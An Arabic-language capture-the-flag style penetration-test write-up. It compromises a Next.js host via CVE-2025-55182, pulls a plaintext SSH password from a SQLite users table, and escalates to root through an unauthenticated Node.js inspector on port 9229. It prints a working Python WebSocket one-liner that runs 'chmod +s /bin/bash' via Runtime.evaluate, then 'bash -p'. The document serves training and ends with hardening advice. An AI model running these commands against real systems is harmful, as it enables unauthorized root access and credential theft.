
تقرير فني لاختبار الاختراق يوضح استغلال ثغرة CVE-2025-55182 في Next.js، وجمع بيانات الاعتماد من SQLite، وتصعيد الامتيازات عبر Node.js inspector للوصول إلى صلاحيات الجذر.
يشرح هذا التقرير الفني مسار الاستغلال لاختراق هدف يستضيف تطبيق ويب Next.js ضعيفًا، وتحقيق الوصول الأولي عبر بيانات اعتماد تم جمعها، والاستفادة من أداة فحص V8 المحلية غير الآمنة في Node.js لتصعيد الامتيازات إلى صلاحيات الجذر.
يستضيف الهدف تطبيق ويب Next.js يعمل على منافذ HTTP/HTTPS القياسية (80/443). يشير تعداد الدلائل القياسي والتحليل اليدوي إلى أن التطبيق يعمل بإصدار ضعيف أمام CVE-2025-55182.
لاستغلال الثغرة، اعترض حركة مرور التطبيق باستخدام Burp Suite (أو Burp Repeater) وحقن حمولة استغلال مصممة تستهدف CVE-2025-55182.
بعد تحقيق تنفيذ الأكواد وقراءة الملفات المحلية عبر الاستغلال، افحص دليل الكود المصدري للتطبيق. يقع ملف قاعدة بيانات SQLite المحلية (database.db) بجوار الكود المصدري الرئيسي للتطبيق.
استعلم أو صدّر محتويات ملف قاعدة البيانات لاستخراج سجلات المستخدمين المخزنة.
sqlite3 database.db "SELECT * FROM users;"
حدد موقع كلمة المرور النصية الصريحة المرتبطة بمستخدم SSH المحلي engineer.
استخدم بيانات الاعتماد المستردة لإنشاء جلسة SSH مع الجهاز الهدف:
ssh engineer@<TARGET-IP>
بمجرد المصادقة، اقرأ علم المستخدم الموجود في الدليل الرئيسي:
cat /home/engineer/user.txt
تحقق من الخدمات المرتبطة حصريًا بواجهة الاسترجاع المحلية (127.0.0.1) لتحديد أسطح الهجوم الداخلية:
netstat -tulnp
النتيجة: توجد خدمة Node.js داخلية تستمع بنشاط على المنفذ المحلي 9229.
تتطلب منافذ تصحيح V8 في Node.js معرّف جلسة UUID فريدًا للاتصال عبر WebSocket. استعلم عن نقطة الاكتشاف المحلية باستخدام curl مع إضافة /json:
curl -s http://127.0.0.1:9229/json
المخرجات:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
نظرًا لأن عملية Node.js الهدف تعمل بصلاحيات الجذر، يمكنك إرسال رسالة Runtime.evaluate عبر بروتوكول Chrome DevTools (CDP) باستخدام Python عبر WebSockets لتعيين بت SUID على /bin/bash:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
تحقق من أن /bin/bash أصبح الآن يتمتع بصلاحيات SUID مفعلة (-rwsr-sr-x)، ثم استدعِ Bash مع الحفاظ على الامتيازات:
ls -l /bin/bash
bash -p
انتقل إلى الدليل الرئيسي لمستخدم الجذر لالتقاط العلم النهائي:
cd /root
cat root.txt
يتطلب تأمين البيئات ضد هذه المتجهات تصحيح تطبيقات الويب الضعيفة أمام CVEs المعروفة، وتقييد صلاحيات ملفات قاعدة البيانات بشكل صحيح، وضمان عدم تعريض منافذ التصحيح (مثل أداة فحص Node.js على المنفذ 9229) أو تركها متاحة دون مصادقة في بيئات الإنتاج.